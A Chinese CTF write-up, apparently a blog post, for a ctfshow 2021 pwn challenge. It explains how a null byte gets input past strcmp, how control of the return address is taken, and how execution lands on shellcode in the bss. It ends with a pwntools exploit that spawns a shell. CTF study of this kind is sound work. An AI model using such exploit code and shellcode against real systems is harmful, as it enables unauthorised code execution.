2021 ctfshow 月饼杯 pwn 容易的胖

在这里插入图片描述
保护啥也没有。

在这里插入图片描述
看起来似乎是就是一个输入shellcode的过程,但是往哪输入,然后输入进去咋样,题目怎么做,都暂时看不出来,所以需要我们去调试一下。

在这里插入图片描述
可以看出来shellcode被放在了0x804a040,这是一个bss上的地址。

在这里插入图片描述
我们可以看到,当我们通过’\x00’截断来绕过strcmp正常返回的时候,我们会把ebp-8,也就是v3地方的地址弹到ecx,然后控制了它就可以控制我们函数的返回地址,我们只要让它合适的返回到我们的shellcode上就好啦。

exp

from pwn import*

context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

r = process("yb2")

bss_addr = 0x804a040

payload = p32(bss_addr + 4) + asm(shellcraft.sh())

r.sendlineafter("Input your shellcode\n", payload)
r.sendlineafter("shellcode????\n", "yes\n" + '\x00' * 12 + p32(bss_addr + 4))

r.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值